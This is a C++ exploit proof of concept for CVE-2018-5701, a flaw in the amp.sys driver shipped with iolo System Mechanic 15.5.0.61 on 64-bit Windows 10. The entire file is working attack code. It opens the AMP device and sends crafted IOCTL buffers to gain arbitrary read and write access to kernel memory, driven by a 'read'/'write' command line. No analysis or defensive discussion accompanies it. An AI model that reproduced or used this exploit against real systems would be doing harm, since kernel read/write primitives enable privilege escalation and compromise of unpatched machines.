/*
# Exploit Title: System Mechanic v15.5.0.61 - Arbitrary Read/Write
# Date: 26-09-2022
# Exploit Author: Brandon Marshall
# Vendor Homepage: https://www.iolo.com/
# Tested Version - System Mechanic version 15.5.0.61
# Driver Version - 5.4.11 - amp.sys
# Tested on OS - 64 bit Windows 10 (18362)
# Fixed Version - System Mechanic 17.5.0.116
# CVE : CVE-2018-5701
*/
#include <iostream>
#include <Windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma warning(disable:4996)
typedef struct _kernelDriverInformation {
char* imageName;
void* imageBase;
}kernelDriverInformation, * PKernelDriverInformation;
typedef struct _functionInformation {
char* functionName;
void* functionOffset;
void* functionBase;
}functionInformation, * PFunctionInformation;
void callDeviceIoControl(HANDLE deviceHandle, void* inputBuffer, DWORD inputBufferSize) {
DWORD bytesReturned;
NTSTATUS status = DeviceIoControl(deviceHandle, 0x226003, inputBuffer, inputBufferSize, NULL, NULL, (LPDWORD)&bytesReturned, (LPOVERLAPPED)NULL);
}
HANDLE getDeviceHandle(char* name) {
DWORD generic_read = 0x80000000;
DWORD generic_write = 0x40000000;
HANDLE handle = CreateFileA((LPCSTR)name, GENERIC_READ | generic_write, NULL, NULL, 0x3, NULL, NULL);
return handle;
}
void* CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(void* addressToDereference, SIZE_T bufferSize) {
byte* maliciousBuffer = (byte*)malloc(bufferSize);
*(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5
*(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters
*(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1); pointer to write return value
*(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
*(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16; // this will be 16
*(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)0; // param2
*(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToDereference; // param3
*(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)0; // param4
return (void*)maliciousBuffer;
}
void* CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(SIZE_T bufferSize) {
byte* maliciousBuffer = (byte*)malloc(bufferSize);
*(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5
*(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters
*(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1); pointer to write return value
*(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
*(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16; // this will be 16
*(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2; // param2
*(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)(maliciousBuffer + 0x40); // param3
*(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x48); // param4
*(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0; //unknown
*(ULONGLONG*)(maliciousBuffer + 0x48) = 0xffffffff; // param1
return (void*)maliciousBuffer;
}
void* CreateWriteDWORDFromKernelMemoryIOCTLBuffer(void* addressToWriteTo, SIZE_T bufferSize) {
byte* maliciousBuffer = (byte*)malloc(bufferSize);
*(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5
*(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters
*(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1); pointer to write return value
*(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
*(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16; // this will be 16
*(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2; // param2
*(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToWriteTo; // param3
*(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x40); // param4
*(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0xffffffff;
return (void*)maliciousBuffer;
}
DWORD leakDWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {
void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(addressToLeak, bufferSize);
callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
//address should now be written in kernel memory
void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(bufferSize);
callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
DWORD returnVal = *(DWORD*)((byte*)ReadDWORDFromKernelMemoryLeakIOCTLBuffer + 0x40);
free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);
return returnVal;
}
void writeDWORD(void* addressToWrite, void* PDWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {
void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(PDWORDToWrite, bufferSize);
callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
//address should now be written in kernel memory
void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateWriteDWORDFromKernelMemoryIOCTLBuffer(addressToWrite,bufferSize);
callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);
return;
}
void* leakQWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {
DWORD firstDWORD = leakDWORD(addressToLeak, deviceHandle, bufferSize);
DWORD secondDWORD = leakDWORD((byte*)addressToLeak + 0x4, deviceHandle, bufferSize);
void** Pqword = (void**)malloc(0x8);
for (int i = 0; i < 4; i++) {
((byte*)Pqword)[i] = ((byte*)&firstDWORD)[i];
((byte*)Pqword)[i + 4] = ((byte*)&secondDWORD)[i];
}
return (*(void**)Pqword);
}
void writeQWORD(void* addressToWrite, void* QWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {
writeDWORD(addressToWrite, QWORDToWrite, deviceHandle, bufferSize);
writeDWORD((byte*)addressToWrite + 0x4, ((byte*)QWORDToWrite + 0x4), deviceHandle, bufferSize);
}
int main(int argc, char* argv[])
{
ULONGLONG addressToReadorWrite = strtoull(argv[2], NULL, 16);
HANDLE deviceHandle = getDeviceHandle((char*)"\\\\.\\AMP");
SIZE_T size = 0x300;
if (strcmp(argv[1], "read") == 0) {
void* leakedQWORD = leakQWORD((void*)addressToReadorWrite, deviceHandle, size);
printf("Value stored at virtual address %0llx is %0llx", addressToReadorWrite, leakedQWORD);
}
else if (strcmp(argv[1], "write") == 0) {
ULONGLONG QWORDToWrite = strtoull(argv[3], NULL, 16);
writeQWORD((void*)addressToReadorWrite, (void*)&QWORDToWrite, deviceHandle, size);
printf("Wrote %0llx to virtual address %0llx", QWORDToWrite, addressToReadorWrite);
}
}